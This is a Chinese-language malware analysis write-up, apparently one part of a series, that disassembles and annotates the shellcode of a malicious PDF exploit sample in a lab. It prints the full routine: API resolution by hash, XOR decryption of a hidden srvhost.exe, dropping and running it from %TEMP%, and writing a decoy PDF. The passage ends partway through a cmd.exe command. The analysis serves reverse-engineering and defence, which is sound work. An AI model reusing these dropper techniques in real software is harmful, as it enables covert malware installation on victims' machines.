实验环境
- 虚拟机:Windows XP SP3
- 物理机:Windows 10 21H2 家庭版
- 软件:x86dbg,scdbg,IDA,010 Editor
获取shellcode样本
因为Windows XP没有引入ASLR机制,所以地址都是固定的,上次分析到ROP链的最后,跳转至0x7814513A的ret指令返回到shellcode上
这次就直接在这下断点进行跳转分析,直接就是shellcode了:
这次是恶意样本,就把shellcode复制出来用IDA进行分析写注释,虚拟机里x86dbg进行调试看运行结果
分析shellcode样本
初步收集shellcode的信息,scdbg查看调用的API:
还挺多,可以推测这个样本里藏文件了,然后通过shellcode把文件拿出来并执行。
把shellcode复制二进制出来,复制到010 Editor,然后另存为bin文件,IDA打开该bin文件,开始分析
刚开始直接就是一个CALL:
seg000:00000000 E8 30 00 00 00 call loc_35 ; call 下面0x35的位置,同时入栈下一行的地址
CALL到偏移当前0x35的位置:
seg000:00000035
seg000:00000035 loc_35: ; CODE XREF: seg000:00000000↑p
seg000:00000035 5B pop ebx ; 弹出shellcode地址到ebx
seg000:00000036 55 push ebp ; 保存ebp
seg000:00000037 89 E5 mov ebp, esp ; 栈保护,抬高ebp
seg000:00000039 81 EC 48 02 00 00 sub esp, 248h ; 栈保护,抬高esp
seg000:0000003F 89 5D FC mov [ebp-4], ebx ; 保存shellcode地址到局部变量[ebp-4]里
seg000:00000042 6A 30 push 30h ; '0' ; push 0x30
seg000:00000044 59 pop ecx ; ecx = 0x30
seg000:00000045 64 8B 01 mov eax, fs:[ecx] ; fs[0x30] = PEB 地址
seg000:00000048 8B 40 0C mov eax, [eax+0Ch] ; PEB[0xC] = _PEB_LDR_DATA地址
seg000:0000004B 8B 70 1C mov esi, [eax+1Ch] ; _PEB_LDR_DATA[0x1C] = InInitializationOrderModuleList.flink(当前模块的_LDR_DATA_TABLE_ENTRY结构中)
seg000:0000004E AD lodsd ; 从esi载入DWORD到eax,是blink的地址
seg000:0000004F 8B 58 08 mov ebx, [eax+8] ; 获取DllBase到ebx
seg000:00000052 6A 0C push 0Ch ; push 0xc,接下来开始解析PE文件
seg000:00000054 59 pop ecx ; ecx = 0xC
seg000:00000055 8B 7D FC mov edi, [ebp-4] ; edi = shellcode中的地址
这里保存了刚刚call指令后面的地址,然后把该地址保存到[ebp-4]的位置
接着就是从fs寄存器中找PEB,PEB中找_PEB_LDR_DATA
,然后找模块信息结构体:_LDR_DATA_TABLE_ENTRY
,获取到DllBase,这里获取到的是kernel32.dll模块,因为要找的函数都在这里,所以只需要找到这一个模块即可
然后这里从[ebp-4]这个地址中拿出来一个值,接下来:
seg000:00000058 loc_58: ; CODE XREF: seg000:00000068↓j
seg000:00000058 51 push ecx ; 保存ecx
seg000:00000059 53 push ebx ; 参数:dllBase地址
seg000:0000005A FF 74 8F FC push dword ptr [edi+ecx*4-4] ; 参数:edi+0xC*4-4,也就是shellcode中保存的4字节数字0x73E2D87E,这是个数组,保存所有要调用函数的Hash
seg000:0000005E E8 8D 02 00 00 call f_GetFuncAddress ; 找到指定函数Hash并返回函数地址到eax
seg000:0000005E
seg000:00000063 59 pop ecx ; 还原ecx
seg000:00000064 89 44 8F FC mov [edi+ecx*4-4], eax ; 保存函数地址到shellcode里
seg000:00000068 E2 EE loop loc_58 ; 通过loop指令进行数组遍历
接下来进入了一个do-while循环,ecx是循环次数,也是数组索引
这里入栈了两个参数:dllbase地址和[ebp-4]那个数组里某个成员的值,然后调用了函数,这个函数的功能是找到指定函数的Hash返回函数地址到eax
然后把该找到的函数地址返回保存回数组里
接下来看看函数是怎么执行的:
seg000:000002F0 f_GetFuncAddress proc near ; CODE XREF: seg000:0000005E↑p
seg000:000002F0
seg000:000002F0 arg_0= dword ptr 4
seg000:000002F0 arg_4= dword ptr 8
seg000:000002F0
seg000:000002F0 53 push ebx
seg000:000002F1 55 push ebp ; 保存寄存器环境
seg000:000002F2 56 push esi
seg000:000002F3 57 push edi
seg000:000002F4 8B 6C 24 18 mov ebp, [esp+10h+arg_4] ; ebp = DllBase
seg000:000002F8 8B 45 3C mov eax, [ebp+3Ch] ; eax = NtHeader Offset
seg000:000002FB 8B 54 05 78 mov edx, [ebp+eax+78h] ; edx = IMAGE_DATA_DIRECTORY_ARRAY[Export].VirtualAddress
seg000:000002FF 01 EA add edx, ebp ; edx = 导出表地址
seg000:00000301 8B 4A 18 mov ecx, [edx+18h] ; ecx = 导出名称数量
seg000:00000304 8B 5A 20 mov ebx, [edx+20h] ; ebx = 导出名称表偏移
seg000:00000307 01 EB add ebx, ebp ; ebx = 导出名称表地址
seg000:00000307
seg000:00000309
seg000:00000309 loc_309: ; CODE XREF: f_GetFuncAddress+36↓j
seg000:00000309 E3 32 jecxz short loc_33D ; ecx不为0则跳转(导出函数名称数量)
seg000:00000309 ; 下面是计算导出函数名称Hash和参数进行对比
seg000:00000309
seg000:0000030B 49 dec ecx ; ecx--
seg000:0000030C 8B 34 8B mov esi, [ebx+ecx*4]
seg000:0000030F 01 EE add esi, ebp
seg000:00000311 31 FF xor edi, edi
seg000:00000313 FC cld
seg000:00000313
seg000:00000314
seg000:00000314 loc_314: ; CODE XREF: f_GetFuncAddress+30↓j
seg000:00000314 31 C0 xor eax, eax
seg000:00000316 AC lodsb
seg000:00000317 38 E0 cmp al, ah
seg000:00000319 74 07 jz short loc_322 ; 和参数中的4字节数字进行对比
seg000:00000319
seg000:0000031B C1 CF 0D ror edi, 0Dh
seg000:0000031E 01 C7 add edi, eax
seg000:00000320 EB F2 jmp short loc_314
seg000:00000320
seg000:00000322 ; ---------------------------------------------------------------------------
seg000:00000322
seg000:00000322 loc_322: ; CODE XREF: f_GetFuncAddress+29↑j
seg000:00000322 3B 7C 24 14 cmp edi, [esp+10h+arg_0] ; 和参数中的4字节数字进行对比
seg000:00000326 75 E1 jnz short loc_309 ; 不相同则跳转
seg000:00000326 ; 找到指定函数则向下走
seg000:00000326
seg000:00000328 8B 5A 24 mov ebx, [edx+24h] ; ebx = 导出序号表偏移
seg000:0000032B 01 EB add ebx, ebp ; ebx = 导出序号表地址
seg000:0000032D 66 8B 0C 4B mov cx, [ebx+ecx*2] ; cx = 导出序号索引
seg000:00000331 8B 5A 1C mov ebx, [edx+1Ch] ; ebx = 导出地址表偏移
seg000:00000334 01 EB add ebx, ebp ; ebx = 导出地址表地址
seg000:00000336 8B 04 8B mov eax, [ebx+ecx*4] ; eax = 导出函数地址偏移
seg000:00000339 01 E8 add eax, ebp ; eax = 导出函数地址
seg000:0000033B EB 02 jmp short loc_33F ; 跳转
seg000:0000033B
seg000:0000033D ; ---------------------------------------------------------------------------
seg000:0000033D
seg000:0000033D loc_33D: ; CODE XREF: f_GetFuncAddress:loc_309↑j
seg000:0000033D 31 C0 xor eax, eax ; eax = 0
seg000:0000033D
seg000:0000033F
seg000:0000033F loc_33F: ; CODE XREF: f_GetFuncAddress+4B↑j
seg000:0000033F 89 EA mov edx, ebp ; edx = ebp = DllBase
seg000:00000341 5F pop edi ; 还原寄存器环境
seg000:00000342 5E pop esi
seg000:00000343 5D pop ebp
seg000:00000344 5B pop ebx
seg000:00000345 C2 08 00 retn 8 ; 函数返回
seg000:00000345
seg000:00000345 f_GetFuncAddress endp
从DllBase里去手工解析PE导出表,遍历导出名称表找到指定函数名称的索引,通过该索引去导出序号表找到对应的函数地址索引,然后拿到函数地址索引对应的函数地址返回
函数地址数组的位置就是shellcode开头call指令下面的内容:一共0xc个
seg000:00000005 AD 9B 7D DF AC 08 DA 76 16 65+dd 0DF7D9BADh
seg000:00000005 FA 10 EC 97 03 0C FB 97 FD 0F+dd 76DA08ACh
seg000:00000005 33 CA 8A 5B EA 49 8A E8 D9 8A+dd 10FA6516h
seg000:00000005 23 E9 98 FE 8A 0E 70 73 EF 36+dd 0C0397ECh
seg000:00000005 F6 22 B9 7C 7E D8 E2 73 dd 0FFD97FBh
seg000:00000005 dd 5B8ACA33h
seg000:00000005 dd 0E88A49EAh
seg000:00000005 dd 0E9238AD9h
seg000:00000005 dd 0E8AFE98h
seg000:00000005 dd 36EF7370h
seg000:00000005 dd 7CB922F6h
seg000:00000005 dd 73E2D87Eh
刚好对应这几个函数:
Found Api table:
[x + 0] = GetFileSize
[x + 4] = SetFilePointer
[x + 8] = ReadFile
[x + c] = GlobalAlloc
[x + 10] = CloseHandle
[x + 14] = GetTempPathA
[x + 18] = _lcreat
[x + 1c] = _lwrite
[x + 20] = WinExec
[x + 24] = GetCommandLineA
[x + 28] = GlobalFree
[x + 2c] = ExitProcess
解析完所有要用的函数地址之后,开始功能代码的执行:
seg000:0000006A 6A 01 push 1 ; push 1
seg000:0000006A
seg000:0000006C
seg000:0000006C loc_6C: ; CODE XREF: seg000:00000082↓j
seg000:0000006C ; seg000:0000008D↓j
seg000:0000006C ; seg000:000000B6↓j
seg000:0000006C ; seg000:000000C3↓j
seg000:0000006C ; seg000:000000D0↓j
seg000:0000006C 5E pop esi ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:0000006D 8D 45 F4 lea eax, [ebp-0Ch] ; 获取一个栈里的地址,用于接收返回值
seg000:00000070 50 push eax ; 参数:接收返回值文件大小
seg000:00000071 56 push esi ; 参数:文件句柄,之前ROP链中创建了个临时文件
seg000:00000072 8B 07 mov eax, [edi] ; edi是函数数组,第一个函数是GetFileSize
seg000:00000074 FF D0 call eax ; Call GetFileSize
seg000:00000074 ; 返回值:参数里返回高位,eax里返回低位
seg000:00000074
seg000:00000076 89 45 F0 mov [ebp-10h], eax ; 拼接返回值成为连续的8字节
seg000:00000079 3D FF FF FF FF cmp eax, 0FFFFFFFFh ; 判断低位返回值是否是FFFFFFFF (INVALID_FILE_SIZE)
seg000:0000007E 75 04 jnz short loc_84 ; 不是就跳转,是的话表示函数执行失败
seg000:0000007E
seg000:00000080 46 inc esi ; esi += 1
seg000:00000081 56 push esi ; 保存esi
seg000:00000082 EB E8 jmp short loc_6C ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:00000082
seg000:00000084 ; ---------------------------------------------------------------------------
seg000:00000084
seg000:00000084 loc_84: ; CODE XREF: seg000:0000007E↑j
seg000:00000084 3D 00 20 00 00 cmp eax, 2000h ; 找到可用文件句柄后,判断文件大小是否大于0x2000
seg000:00000089 77 04 ja short loc_8F ; 大于就跳转,否则继续找下一个可用的文件句柄
seg000:00000089
seg000:0000008B 46 inc esi ; esi ++;
seg000:0000008C 56 push esi ; 保存esi
seg000:0000008D EB DD jmp short loc_6C ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:0000008D
seg000:0000008F ; ---------------------------------------------------------------------------
seg000:0000008F
seg000:0000008F loc_8F: ; CODE XREF: seg000:00000089↑j
seg000:0000008F 6A 00 push 0 ; 到这里应该是找到了一个满足要求的文件句柄
seg000:0000008F ; 参数:指针开始的位置
seg000:00000091 6A 00 push 0 ; 参数:移动距离的高32位,不需要则写0
seg000:00000093 68 00 12 00 00 push 1200h ; 参数:移动文件指针的距离
seg000:00000098 56 push esi ; 参数:文件句柄
seg000:00000099 8B 47 04 mov eax, [edi+4] ; 函数:SetFilePointer
seg000:0000009C FF D0 call eax ; 把文件指针移动到文件第0x1200的位置上
seg000:0000009C
seg000:0000009E 6A 00 push 0
seg000:000000A0 8D 45 EC lea eax, [ebp-14h]
seg000:000000A3 50 push eax ; 参数:读到的字节数,返回值
seg000:000000A4 6A 08 push 8 ; 参数:要读取的字节数
seg000:000000A6 8D 45 B8 lea eax, [ebp-48h]
seg000:000000A9 50 push eax ; 参数:缓冲区地址
seg000:000000AA 56 push esi ; 参数:文件句柄
seg000:000000AB
seg000:000000AB loc_AB: ; 函数:ReadFile
seg000:000000AB 8B 47 08 mov eax, [edi+8]
seg000:000000AE FF D0 call eax ; 读取8个字节出来
seg000:000000AE
seg000:000000B0 85 C0 test eax, eax ; 函数成功返回1
seg000:000000B2 75 04 jnz short loc_B8 ; 成功则跳转
seg000:000000B2 ; 失败则找下一个文件句柄进行尝试
seg000:000000B2
seg000:000000B4 46 inc esi
seg000:000000B5 56 push esi
seg000:000000B6 EB B4 jmp short loc_6C ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:000000B6
seg000:000000B8 ; ---------------------------------------------------------------------------
seg000:000000B8
seg000:000000B8 loc_B8: ; CODE XREF: seg000:000000B2↑j
seg000:000000B8 81 7D B8 50 64 50 44 cmp dword ptr [ebp-48h], 44506450h ; 对比读取出来的数据是不是指定的8个字节,判断该文件句柄是不是我们要找的文件句柄
seg000:000000BF 74 04 jz short loc_C5 ; 是就跳转
seg000:000000BF
seg000:000000C1 46 inc esi
seg000:000000C2 56 push esi
seg000:000000C3 EB A7 jmp short loc_6C ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:000000C3
seg000:000000C5 ; ---------------------------------------------------------------------------
seg000:000000C5
seg000:000000C5 loc_C5: ; CODE XREF: seg000:000000BF↑j
seg000:000000C5 81 7D BC EF FE EA AE cmp dword ptr [ebp-44h], 0AEEAFEEFh
seg000:000000CC 74 04 jz short loc_D2 ; 参数:申请大小
seg000:000000CC
seg000:000000CE 46 inc esi
seg000:000000CF 56 push esi
seg000:000000D0 EB 9A jmp short loc_6C ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
这一大块内容的功能是找一个指定的文件句柄,从1开始逐渐递增去作为参数调用GetFileSize函数,如果能得到返回值(文件大小)说明文件句柄可用,找不到则说明文件句柄不可用,文件句柄++,然后再次获取
GetFileSize函数参数:
DWORD GetFileSize(
[in] HANDLE hFile,
[out, optional] LPDWORD lpFileSizeHigh
);
如果文件句柄可用,接下来判断文件大小是否满足我们要找的文件的要求:文件大小大于0x2000字节,不满足就循环找下一个可用文件句柄
如果大小也满足要求了,那就设置文件指针,指向文件特定位置,因为我们要找的文件的特定位置上有硬编码的特征,
SetFilePointer函数参数:
DWORD SetFilePointer(
[in] HANDLE hFile,
[in] LONG lDistanceToMove,
[in, out, optional] PLONG lpDistanceToMoveHigh,
[in] DWORD dwMoveMethod
);
接下来要去读取该位置,判断特征是否满足要求,如果不满足依然去找下一个文件
ReadFile函数参数:
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer,
[in] DWORD nNumberOfBytesToRead,
[out, optional] LPDWORD lpNumberOfBytesRead,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
满足了就可以开始下一环节了:
seg000:000000D2 loc_D2: ; CODE XREF: seg000:000000CC↑j
seg000:000000D2 FF 75 F0 push dword ptr [ebp-10h] ; 参数:申请大小
seg000:000000D5 6A 40 push 40h ; '@' ; 参数:类型
seg000:000000D7 FF 57 0C call dword ptr [edi+0Ch] ; GlobalAlloc
seg000:000000D7
seg000:000000DA 89 45 D8 mov [ebp-28h], eax ; 返回申请内存对象句柄
seg000:000000DD 85 C0 test eax, eax ; 判断是否执行成功
seg000:000000DF 75 05 jnz short loc_E6 ; 成功则跳转
seg000:000000DF
seg000:000000E1 E9 05 02 00 00 jmp loc_2EB ; 退出进程
seg000:000000E1
seg000:000000E6 ; ---------------------------------------------------------------------------
seg000:000000E6
seg000:000000E6 loc_E6: ; CODE XREF: seg000:000000DF↑j
seg000:000000E6 6A 00 push 0
seg000:000000E8 6A 00 push 0
seg000:000000EA 6A 00 push 0
seg000:000000EC 56 push esi ; 移动文件指针指向文件开头
seg000:000000ED FF 57 04 call dword ptr [edi+4] ; SetFilePointer
seg000:000000ED
seg000:000000F0 6A 00 push 0
seg000:000000F2 8D 45 EC lea eax, [ebp-14h]
seg000:000000F5 50 push eax ; 读到的字节数
seg000:000000F6 FF 75 F0 push dword ptr [ebp-10h] ; 要读取的字节数,刚刚申请的内存空间大小
seg000:000000F9 FF 75 D8 push dword ptr [ebp-28h] ; 缓冲区地址
seg000:000000FC 56 push esi
seg000:000000FD FF 57 08 call dword ptr [edi+8] ; 读取文件
seg000:000000FD
seg000:00000100 85 C0 test eax, eax
seg000:00000102 75 05 jnz short loc_109 ; 读取成功跳转
seg000:00000102
seg000:00000104 E9 E2 01 00 00 jmp loc_2EB ; 退出进程
找到要找的文件后(就是pdf样本自身),调用GlobalAlloc函数申请一片内存:
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
[in] UINT uFlags,
[in] SIZE_T dwBytes
);
然后把该文件整个读入缓冲区,读取失败就退出进程
接下来:
seg000:00000109 loc_109: ; CODE XREF: seg000:00000102↑j
seg000:00000109 56 push esi ; 文件句柄
seg000:0000010A FF 57 10 call dword ptr [edi+10h] ; CloseHandle 关闭文件句柄
seg000:0000010A
seg000:0000010D 8B 5D D8 mov ebx, [ebp-28h] ; ebx = 缓冲区地址(PDF文件首地址)
seg000:00000110 8B 83 10 12 00 00 mov eax, [ebx+1210h] ; eax = 缓冲区1210h偏移处4字节,0x000141C0
seg000:00000116 89 45 E8 mov [ebp-18h], eax ; 保存到栈里
seg000:00000119 8B 83 14 12 00 00 mov eax, [ebx+1214h] ; eax = 缓冲区1214h处4字节,0x001AAF7E
seg000:0000011F 89 45 E4 mov [ebp-1Ch], eax ; 保存到栈里
seg000:00000122 8B 83 18 12 00 00 mov eax, [ebx+1218h] ; eax = 缓冲区1218h处4字节,0x0000000C
seg000:00000128 89 45 E0 mov [ebp-20h], eax ; 保存到栈里
seg000:0000012B 03 45 E4 add eax, [ebp-1Ch]
seg000:0000012E 03 45 E8 add eax, [ebp-18h]
seg000:00000131 89 45 DC mov [ebp-24h], eax ; 把刚刚获取的三个数字加起来,保存到栈里,0x1BF14A
seg000:00000131
seg000:00000134
seg000:00000134 loc_134: ; CODE XREF: seg000:00000147↓j
seg000:00000134 48 dec eax ; eax --;
seg000:00000135 8A 94 03 1C 12 00 00 mov dl, [ebx+eax+121Ch] ; 取1个字节
seg000:0000013C 30 C2 xor dl, al ; 和al异或
seg000:0000013E 88 94 03 1C 12 00 00 mov [ebx+eax+121Ch], dl ; 放回去
seg000:00000145 85 C0 test eax, eax ; 判断eax是否为空
seg000:00000147 77 EB ja short loc_134 ; 有值跳转
seg000:00000147 ; 上面这一段是do-while异或解密部分,把读取到内存的内容(PDF文件1210偏移处的内容)异或解密
seg000:00000147 ; 解密出来的内容是一个字符串:"srvhost.exe"
接下来从文件里特定地址里读取三个4字节数,然后加起来,这应该指的是内部藏的文件的大小
然后紧接着对该地址后面一点的地方进行异或解密:
这里画黑的就是解密的部分,画黑的之前的三个DWORD就是上面读取的三个数,后面的内容是5A 4D
开头的,可见藏了个PE文件
接下来:
seg000:00000149 8D 85 B8 FE FF FF lea eax, [ebp-148h]
seg000:0000014F 50 push eax ; 参数:缓冲区地址
seg000:00000150 68 F8 00 00 00 push 0F8h ; 参数:缓冲区大小
seg000:00000155 FF 57 14 call dword ptr [edi+14h] ; GetTempPathA,读取临时目录到缓冲区
seg000:00000155
seg000:00000158 8D BB 1C 12 00 00 lea edi, [ebx+121Ch] ; edi = 解密后的字符串地址:srvhost.exe
seg000:0000015E 81 C9 FF FF FF FF or ecx, 0FFFFFFFFh ; ecx = FFFFFFFF
seg000:00000164 31 C0 xor eax, eax ; eax = 0
seg000:00000166 F2 AE repne scasb ; 搜索\x00在字符串的位置,每判断一个字符ecx--
seg000:00000168 F7 D1 not ecx ; ecx取反得到\x00在字符串中的位置:0xC
seg000:0000016A 29 CF sub edi, ecx ; edi -= 0xC (让edi回到之前的位置)
seg000:0000016C 89 FE mov esi, edi ; esi = edi
seg000:0000016E 89 CA mov edx, ecx ; edx = ecx
seg000:00000170 8D BD B8 FE FF FF lea edi, [ebp-148h] ; 临时目录
seg000:00000176 81 C9 FF FF FF FF or ecx, 0FFFFFFFFh ; ecx = FFFFFFFF
seg000:0000017C F2 AE repne scasb ; 获取临时目录字符串的长度(宽字符)
seg000:0000017E 4F dec edi ; edi指向临时目录字符串末尾
seg000:0000017F 89 D1 mov ecx, edx ; 字符串长度0xC
seg000:00000181 F3 A4 rep movsb ; 字符串拼接,临时目录+ srvhost.exe
seg000:00000183 6A 02 push 2 ; 参数:文件属性,隐藏(2)
seg000:00000185 8D 85 B8 FE FF FF lea eax, [ebp-148h] ; 拼接后的路径
seg000:0000018B 50 push eax ; 参数:路径
seg000:0000018C 8B 7D FC mov edi, [ebp-4]
seg000:0000018F FF 57 18 call dword ptr [edi+18h] ; _lcreat,创建文件
seg000:0000018F
seg000:00000192 3D FF FF FF FF cmp eax, 0FFFFFFFFh
seg000:00000197 75 05 jnz short loc_19E ; 创建成功跳转
seg000:00000197
seg000:00000199 E9 4D 01 00 00 jmp loc_2EB ; 退出进程
seg000:00000199
调用函数读取临时路径到缓冲区:
DWORD GetTempPathA(
[in] DWORD nBufferLength,
[out] LPSTR lpBuffer
);
然后紧接着拼接字符串:%Temp%/svrhost.exe
:
这是要创建的文件路径,然后调用_lcreat
函数创建文件,文件类型:2(隐藏)
HFILE _lcreat(
LPCSTR lpPathName,
int iAttribute
);
通过运行->%temp%
命令打开临时目录,设置文件夹选项显示隐藏文件,可以看到创建了个文件:
seg000:0000019E loc_19E: ; CODE XREF: seg000:00000197↑j
seg000:0000019E 89 45 C8 mov [ebp-38h], eax ; 文件句柄
seg000:000001A1 89 C2 mov edx, eax ; edx = eax
seg000:000001A3 FF 75 E8 push dword ptr [ebp-18h] ; 0x000141c0
seg000:000001A6 8D 83 1C 12 00 00 lea eax, [ebx+121Ch] ; svrhost.exe字符串首地址
seg000:000001AC 03 45 E0 add eax, [ebp-20h] ; 字符串长度,跳过字符串,后面是个PE文件
seg000:000001AF 50 push eax ; push 缓冲区首地址(PE文件)
seg000:000001B0 52 push edx ; push 文件句柄
seg000:000001B1 B9 00 01 00 00 mov ecx, 100h ; 对PE文件Header部分进行解密(高低字节调换)
seg000:000001B1
seg000:000001B6
seg000:000001B6 loc_1B6: ; CODE XREF: seg000:000001C6↓j
seg000:000001B6 8A 54 48 FE mov dl, [eax+ecx*2-2]
seg000:000001BA 8A 74 48 FF mov dh, [eax+ecx*2-1]
seg000:000001BE 88 74 48 FE mov [eax+ecx*2-2], dh
seg000:000001C2 88 54 48 FF mov [eax+ecx*2-1], dl
seg000:000001C6 E2 EE loop loc_1B6 ; 循环解密,解密完成后写入文件
seg000:000001C6
seg000:000001C8 FF 57 1C call dword ptr [edi+1Ch] ; _lwrite,写入文件
seg000:000001C8
seg000:000001CB FF 75 C8 push dword ptr [ebp-38h] ; 文件句柄
seg000:000001CE FF 57 10 call dword ptr [edi+10h] ; CloseHandle
接下来对缓冲区中PE文件Header部分进行解密(高低字节调换),解密完成后写入刚刚创建的文件,关闭文件句柄
然后紧接着调用WinExec函数去执行该PE文件:
seg000:000001CE
seg000:000001D1 8D 85 B8 FE FF FF lea eax, [ebp-148h] ; 文件路径
seg000:000001D7 E8 00 00 00 00 call $+5 ; 跳转到当前下一个指令,栈里保存执行的地址
seg000:000001D7
seg000:000001DC 81 04 24 10 00 00 00 add dword ptr [esp], 10h ; 当前地址 += 0x10,构造返回地址
seg000:000001E3 6A 00 push 0 ; 参数:0
seg000:000001E5 50 push eax ; 参数:srvhost.exe文件
seg000:000001E6 FF 77 24 push dword ptr [edi+24h] ; 返回地址,GetCommandLineA
seg000:000001E9 FF 67 20 jmp dword ptr [edi+20h] ; 函数调用:WinExec
seg000:000001E9 ; 调用完之后,将exe地址放入eax,然后再跳转到下一行
执行完之后,通过构造的返回地址接回控制权:
seg000:000001EC FF 57 24 call dword ptr [edi+24h] ; GetCommandLineA,获取命令行,获取到的应该就是Adobe Reader的地址
seg000:000001EC
seg000:000001EF 89 45 D0 mov [ebp-30h], eax ; 返回一个指向参数数组的指针到eax,保存到参数里
seg000:000001F2 89 C6 mov esi, eax ; esi = eax
seg000:000001F4 89 C7 mov edi, eax ; edi = eax
seg000:000001F6 81 C9 FF FF FF FF or ecx, 0FFFFFFFFh ; ecx = FFFFFFFF
seg000:000001FC 31 C0 xor eax, eax ; eax = 0
seg000:000001FE F2 AE repne scasb ; 获取参数长度
seg000:00000200 F7 D1 not ecx
seg000:00000202 49 dec ecx ; 字符串长度(不包括最后的0)
seg000:00000203 89 4D CC mov [ebp-34h], ecx ; 保存到参数里
seg000:00000206 8D BD B8 FE FF FF lea edi, [ebp-148h] ; edi = srvhost.exe路径
seg000:0000020C 88 04 0F mov [edi+ecx], al
seg000:0000020F 49 dec ecx ; ecx --;
seg000:00000210 8A 04 0E mov al, [esi+ecx] ; 找到路径字符串的末尾的"
seg000:00000213 3C 22 cmp al, 22h ; '"' ; 判断是不是"
seg000:00000215 75 1F jnz short loc_236 ; 不是就跳转
seg000:00000215
seg000:00000217 49 dec ecx ; ecx --;
seg000:00000217
seg000:00000218
seg000:00000218 loc_218: ; CODE XREF: seg000:00000224↓j
seg000:00000218 8A 04 0E mov al, [esi+ecx] ; 再向前取一位
seg000:0000021B 3C 22 cmp al, 22h ; '"' ; 判断是不是"
seg000:0000021D 74 07 jz short loc_226 ; 是就跳转
seg000:0000021D ; 不是就向下
seg000:0000021D
seg000:0000021F 88 44 0F 01 mov [edi+ecx+1], al ; 把值放到edi+ecx+1的位置
seg000:00000223 49 dec ecx ; ecx--;
seg000:00000224 EB F2 jmp short loc_218 ; 这里do-while循环,把双引号内部的字符串提取出来到edi中
seg000:00000224
seg000:00000226 ; ---------------------------------------------------------------------------
seg000:00000226
seg000:00000226 loc_226: ; CODE XREF: seg000:0000021D↑j
seg000:00000226 01 CF add edi, ecx
seg000:00000228 81 C7 02 00 00 00 add edi, 2 ; 调整edi位置,edi指向Adobe Reader路径
seg000:0000022E 89 7D C0 mov [ebp-40h], edi ; 保存路径
seg000:00000231 E9 13 00 00 00 jmp loc_249 ; 跳转
seg000:00000231
seg000:00000236 ; ---------------------------------------------------------------------------
seg000:00000236
seg000:00000236 loc_236: ; CODE XREF: seg000:00000215↑j
seg000:00000236 ; seg000:00000241↓j
seg000:00000236 8A 04 0E mov al, [esi+ecx] ; 再向前取一位
seg000:00000239 3C 20 cmp al, 20h ; ' ' ; 判断是不是空格
seg000:0000023B 74 06 jz short loc_243 ; 是就跳转
seg000:0000023B
seg000:0000023D 88 04 0F mov [edi+ecx], al ; 复制给edi
seg000:00000240 49 dec ecx ; ecx --;
seg000:00000241 EB F3 jmp short loc_236 ; 赋值字符串给edi
seg000:00000241
seg000:00000243 ; ---------------------------------------------------------------------------
seg000:00000243
seg000:00000243 loc_243: ; CODE XREF: seg000:0000023B↑j
seg000:00000243 01 CF add edi, ecx
seg000:00000245 47 inc edi ; 调整edi位置
seg000:00000246 89 7D C0 mov [ebp-40h], edi ; 保存路径
接下来获取Adobe Reader的执行路径,通过GetCommandLineA获取,然后把首尾的双引号和空格去掉,保存到edi中
seg000:00000249 loc_249: ; CODE XREF: seg000:00000231↑j
seg000:00000249 FF 75 F0 push dword ptr [ebp-10h] ; 字节数
seg000:0000024C 6A 40 push 40h ; '@' ; 属性
seg000:0000024E 8B 55 FC mov edx, [ebp-4] ; 函数数组
seg000:00000251 FF 52 0C call dword ptr [edx+0Ch] ; GlobalAlloc,申请内存空间
seg000:00000251
seg000:00000254 89 45 D4 mov [ebp-2Ch], eax ; 保存内存对象
seg000:00000257 89 C7 mov edi, eax ; edi = 内存句柄
seg000:00000259 8B 75 E8 mov esi, [ebp-18h] ; 0x000141c0
seg000:0000025C 03 75 E0 add esi, [ebp-20h] ; += 0xC
seg000:0000025F 01 DE add esi, ebx ; += pdf基址
seg000:00000261 81 C6 1C 12 00 00 add esi, 121Ch ; += 121ch
seg000:00000261 ; esi = 恶意pdf内部保存的一个正常的pdf
seg000:00000267 8B 4D E4 mov ecx, [ebp-1Ch] ; pdf长度
seg000:0000026A F3 A4 rep movsb ; memcpy
seg000:0000026C 8B 7D FC mov edi, [ebp-4]
seg000:0000026F 6A 00 push 0
seg000:00000271 FF 75 C0 push dword ptr [ebp-40h]
seg000:00000274 FF 57 18 call dword ptr [edi+18h] ; _lcreat,创建文件
seg000:00000274
seg000:00000277 89 45 C4 mov [ebp-3Ch], eax ; 文件句柄
seg000:0000027A 3D FF FF FF FF cmp eax, 0FFFFFFFFh ; 对比是否成功,成功就跳转
seg000:0000027F 74 6A jz short loc_2EB ; 退出进程
seg000:0000027F
seg000:00000281 57 push edi
seg000:00000282 89 C3 mov ebx, eax ; 文件句柄
seg000:00000284 FF 75 F0 push dword ptr [ebp-10h] ; 缓冲区大小
seg000:00000287 FF 75 D4 push dword ptr [ebp-2Ch] ; 缓冲区首地址
seg000:0000028A 50 push eax ; 文件句柄
seg000:0000028B FF 57 1C call dword ptr [edi+1Ch] ; _lwrite,写入文件
seg000:0000028B
seg000:0000028E 53 push ebx ; 关闭内存句柄
seg000:0000028F FF 57 10 call dword ptr [edi+10h] ; CloseHandle
随即申请内存空间,从本样本中特定偏移处读取藏起来的正常pdf文件,到缓冲区中
然后就在Adobe Reader的目录中创建pdf文件,并写入
最后:
seg000:00000292 8B 7D C0 mov edi, [ebp-40h] ; pdf文件路径,求长度
seg000:00000295 81 C9 FF FF FF FF or ecx, 0FFFFFFFFh
seg000:0000029B 31 C0 xor eax, eax
seg000:0000029D F2 AE repne scasb
seg000:0000029F F7 D1 not ecx ; ecx = pdf路径长度
seg000:000002A1 29 CF sub edi, ecx ; edi = pdf路径首地址
seg000:000002A3 89 FE mov esi, edi
seg000:000002A5 8D BD B8 FD FF FF lea edi, [ebp-248h] ; edi = esp+4
seg000:000002AB C7 07 63 6D 64 2E mov dword ptr [edi], '.dmc' ; 入栈一个字符串 cmd.exe /c
seg000:000002B1 C7 47 04 65 78 65 20 mov dword ptr [edi+4], ' exe'
seg000:000002B8 C7 47 08 2F 63 20 22 mov dword ptr [edi+8], '" c/'
